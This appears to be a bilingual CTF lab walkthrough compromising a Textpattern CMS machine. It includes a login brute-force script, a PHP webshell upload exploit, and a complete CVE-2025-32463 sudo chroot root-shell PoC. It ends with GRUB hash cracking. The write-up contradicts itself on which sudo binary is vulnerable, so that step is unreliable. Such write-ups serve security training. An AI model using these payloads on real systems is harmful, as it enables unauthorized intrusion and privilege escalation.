本次靶机渗透实战主要结合了CMS后台漏洞与SUID本地提权。首先,通过信息收集发现80端口运行 Textpattern CMS。攻击者编写Python脚本成功爆破出后台弱口令 admin:superman,随后利用该CMS的授权远程代码执行漏洞(上传PHP Webshell)获取了 www-data 初始权限。在提权阶段,通过枚举SUID文件发现系统共存两个版本的 sudo,攻击者利用存在漏洞的指定版本(CVE-2025-32463),微调PoC路径后成功提权至 root 。最后在配置文件中提取了 todd 用户的 GRUB 哈希,但未能破解。 This target machine penetration exercise primarily combined a CMS backend vulnerability with SUID local privilege escalation. First, through information gathering, it was discovered that Textpattern CMS was running on port 80. The attacker wrote a Python script to successfully brute-force the weak credentials admin:superman for the backend. Subsequently, by exploiting an authenticated remote code execution vulnerability in this CMS (uploading a PHP Webshell), initial access as the www-data user was obtained. During the privilege escalation phase, by enumerating SUID files, it was found that the system had two versions of sudo coexisting. The attacker exploited the vulnerable specific version (CVE-2025-32463), made minor adjustments to the PoC path, and successfully escalated privileges to root. Finally, the GRUB hash for the user todd was extracted from a configuration file, but it could not be cracked.

信息收集

# Nmap 7.95 scan initiated Sun Dec 21 12:12:22 2025 as: /usr/lib/nmap/nmap -sC -sV -O -oN nmap_result.txt 192.168.110.165
Nmap scan report for 5ud0.lan (192.168.110.165)
Host is up (0.00061s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 5 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: My site
|_http-generator: Textpattern CMS
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:F2:F5:A8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 21 12:12:35 2025 -- 1 IP address (1 host up) scanned in 13.92 seconds

 

漏洞分析

根据搜索得到管理员后台example.com/textpattern

➜  5ud0 searchsploit textpattern
TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated)                                                                 | php/webapps/49996.txt
TextPattern CMS 4.8.7 - Remote Command Execution (RCE) (Authenticated)                                                           | php/webapps/50415.txt
➜  5ud0 searchsploit -m 49996.txt
➜  5ud0 cat 49996.txt
# Exploit Title : TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated)
# Date : 2021/09/06
# Exploit Author : Mert Daş merterpreter@gmail.com
# Software Link : https://textpattern.com/file_download/113/textpattern-4.8.7.zip
# Software web : https://textpattern.com/
# Tested on: Server : Xampp

First of all we should use file upload section to upload our shell.
Our shell contains this malicious code: <?PHP system($_GET['cmd']);?>

1) Go to content section .
2) Click Files and upload malicious php file.
3) go to yourserver/textpattern/files/yourphp.php?cmd=yourcode;

After upload our file , our request and respons is like below :

Request:

GET /textpattern/files/cmd.php?cmd=whoami HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
Gecko/20100101 Firefox/89.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: txp_login_public=18e9bf4a21admin; language=en-gb; currency=GBP;
PHPSESSID=cctbu6sj8571j2t6vp7g8ab7gi
Upgrade-Insecure-Requests: 1


Response:

HTTP/1.1 200 OK
Date: Thu, 10 Jun 2021 00:32:41 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.20
X-Powered-By: PHP/7.4.20
Content-Length: 22
Connection: close
Content-Type: text/html; charset=UTF-8

pc\mertdas

漏洞利用分析:

  1. 前提条件 (Authenticated):我们必须先登录后台。
  2. 上传点 (Upload):登录后进入 ContentFiles 界面。
  3. Payload:上传一个包含 <?PHP system($_GET['cmd']);?> 的 PHP 文件。
  4. 触发 (Trigger):访问 /textpattern/files/你的文件名.php?cmd=whoami 来执行命令。

利用

尝试弱凭据无果后,使用python暴力破解用户admin

import requests
import sys

# ================= 配置区域 =================
# 目标 URL
url = "http://textpattern.dsz/textpattern/index.php"
# 用户名
username = "admin"
# 字典路径 (Kali 默认路径)
wordlist = "/usr/share/wordlists/rockyou.txt"
# 登录失败的特征字符串
fail_string = "Could not log in"
# ===========================================

def brute_force():
    print(f"[*] 正在攻击目标: {url}")
    print(f"[*] 用户: {username}")
    
    # 伪造 User-Agent 防止被拦截
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
    }

    try:
        with open(wordlist, "r", encoding="latin-1") as f:
            for password in f:
                password = password.strip()
                
                # 使用 Session 对象自动处理 Cookies/PHPSESSID
                s = requests.Session()
                
                # 构造 Payload,注意 event 参数通常是 login
                data = {
                    "p_userid": username,
                    "p_password": password,
                    "_txp_token": "",   # 根据你的观察,Token 为空
                    "event": "login",   # 尝试 login 动作
                    "lang": "en"
                }

                try:
                    # 发送请求
                    r = s.post(url, data=data, headers=headers, allow_redirects=True)
                    
                    # 打印进度 (覆盖同一行)
                    sys.stdout.write(f"\r[-] 尝试密码: {password:<20}")
                    sys.stdout.flush()

                    # 判断逻辑:如果页面中没有“失败特征”,且状态码为 200 或 302,则可能成功
                    if fail_string not in r.text:
                        print(f"\n\n[+] 成功! 密码是: {password}")
                        return

                except Exception as e:
                    # 忽略网络抖动错误
                    continue
                    
    except FileNotFoundError:
        print(f"\n[!] 错误: 找不到字典文件 {wordlist}")
        sys.exit()

if __name__ == "__main__":
    brute_force()

得到凭据admin:superman

登陆后上传文件即可获取用户www-data的shell

权限提升

www-data@5ud0:/tmp$ find / -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/local/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1

发现两个sudo

/usr/local/bin/sudo --version → 1.9.6

/usr/bin/sudo --version → 1.9.16p2

which sudo → /usr/local/bin/sudo

在网上寻找到1.9.16p2的漏洞,即CVE-2025-32463

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

这是原来的poc,我们需要更改sudo -R woot woot这一行为/usr/local/bin/sudo -R woot woot

运行即可

经验教训

进入后在/etc/grub.d/40_custom发现todd用户的hash

➜ echo "grub.pbkdf2.sha512.10000.331CE43938E4B3E78E46FA5870701CF066644AE172308EA85401990390EF43ABCEA86EF085F010EABF28AAC613692A970FDE435B6AB36959FBF69E14F190BB17.F75B2CB6CDE13A8BBED7CD102E634216374FD9B5962C85FFB845954A98448E8D5DE5A5070B573D09043FDAFA92B8FC1BEDF59AA413EFD5000EB99B150C5FCC88" > todd_hash.txt
➜ hashcat -m 7200 todd_hash.txt /usr/share/wordlists/rockyou.txt

破解不出来

Information Gathering

# Nmap 7.95 scan initiated Sun Dec 21 12:12:22 2025 as: /usr/lib/nmap/nmap -sC -sV -O -oN nmap_result.txt 192.168.110.165
Nmap scan report for 5ud0.lan (192.168.110.165)
Host is up (0.00061s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 5 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: My site
|_http-generator: Textpattern CMS
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:F2:F5:A8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 21 12:12:35 2025 -- 1 IP address (1 host up) scanned in 13.92 seconds

 

Vulnerability Analysis

According to the search, the admin backend is example.com/textpattern

➜  5ud0 searchsploit textpattern
TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated)                                                                 | php/webapps/49996.txt
TextPattern CMS 4.8.7 - Remote Command Execution (RCE) (Authenticated)                                                           | php/webapps/50415.txt
➜  5ud0 searchsploit -m 49996.txt
➜  5ud0 cat 49996.txt
# Exploit Title : TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated)
# Date : 2021/09/06
# Exploit Author : Mert Daş merterpreter@gmail.com
# Software Link : https://textpattern.com/file_download/113/textpattern-4.8.7.zip
# Software web : https://textpattern.com/
# Tested on: Server : Xampp

First of all we should use file upload section to upload our shell.
Our shell contains this malicious code: <?PHP system($_GET['cmd']);?>

1) Go to content section .
2) Click Files and upload malicious php file.
3) go to yourserver/textpattern/files/yourphp.php?cmd=yourcode;

After upload our file , our request and respons is like below :

Request:

GET /textpattern/files/cmd.php?cmd=whoami HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
Gecko/20100101 Firefox/89.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: txp_login_public=18e9bf4a21admin; language=en-gb; currency=GBP;
PHPSESSID=cctbu6sj8571j2t6vp7g8ab7gi
Upgrade-Insecure-Requests: 1


Response:

HTTP/1.1 200 OK
Date: Thu, 10 Jun 2021 00:32:41 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.20
X-Powered-By: PHP/7.4.20
Content-Length: 22
Connection: close
Content-Type: text/html; charset=UTF-8

pc\mertdas

Exploit Analysis:

  1. Prerequisite (Authenticated): We must first log in to the backend.
  2. Upload point (Upload): After logging in, go to the ContentFiles interface.
  3. Payload: Upload a PHP file containing <?PHP system($_GET['cmd']);?>.
  4. Trigger (Trigger): Access /textpattern/files/your_filename.php?cmd=whoami to execute commands.

Exploitation

After trying weak credentials without success, use Python to brute-force the user admin

import requests
import sys

# ================= Configuration Area =================
# Target URL
url = "http://textpattern.dsz/textpattern/index.php"
# Username
username = "admin"
# Dictionary path (default Kali path)
wordlist = "/usr/share/wordlists/rockyou.txt"
# String indicating login failure
fail_string = "Could not log in"
# ===========================================

def brute_force():
    print(f"[*] Attacking target: {url}")
    print(f"[*] User: {username}")
    
    # Spoof User-Agent to prevent blocking
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
    }

    try:
        with open(wordlist, "r", encoding="latin-1") as f:
            for password in f:
                password = password.strip()
                
                # Use Session object to automatically handle Cookies/PHPSESSID
                s = requests.Session()
                
                # Construct Payload, note that the event parameter is usually login
                data = {
                    "p_userid": username,
                    "p_password": password,
                    "_txp_token": "",   # Based on your observation, Token is empty
                    "event": "login",   # Try login action
                    "lang": "en"
                }

                try:
                    # Send request
                    r = s.post(url, data=data, headers=headers, allow_redirects=True)
                    
                    # Print progress (overwrite the same line)
                    sys.stdout.write(f"\r[-] Trying password: {password:<20}")
                    sys.stdout.flush()

                    # Judgment logic: if the page does not contain the "failure string", and the status code is 200 or 302, it might be successful
                    if fail_string not in r.text:
                        print(f"\n\n[+] Success! Password is: {password}")
                        return

                except Exception as e:
                    # Ignore network jitter errors
                    continue
                    
    except FileNotFoundError:
        print(f"\n[!] Error: Dictionary file not found {wordlist}")
        sys.exit()

if __name__ == "__main__":
    brute_force()

Obtained credentials admin:superman

After logging in, upload the file to get a shell as user www-data

Privilege Escalation

www-data@5ud0:/tmp$ find / -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/local/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1

Found two sudo

/usr/local/bin/sudo --version → 1.9.6

/usr/bin/sudo --version → 1.9.16p2

which sudo → /usr/local/bin/sudo

Found a vulnerability for 1.9.16p2 online, namely CVE-2025-32463

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

This is the original poc, we need to change the action of 'sudo -R woot woot' to '/usr/local/bin/sudo -R woot woot'

Just run it

Lessons Learned

After entering, found the hash of user todd in /etc/grub.d/40_custom

➜ echo "grub.pbkdf2.sha512.10000.331CE43938E4B3E78E46FA5870701CF066644AE172308EA85401990390EF43ABCEA86EF085F010EABF28AAC613692A970FDE435B6AB36959FBF69E14F190BB17.F75B2CB6CDE13A8BBED7CD102E634216374FD9B5962C85FFB845954A98448E8D5DE5A5070B573D09043FDAFA92B8FC1BEDF59AA413EFD5000EB99B150C5FCC88" > todd_hash.txt
➜ hashcat -m 7200 todd_hash.txt /usr/share/wordlists/rockyou.txt

Could not crack it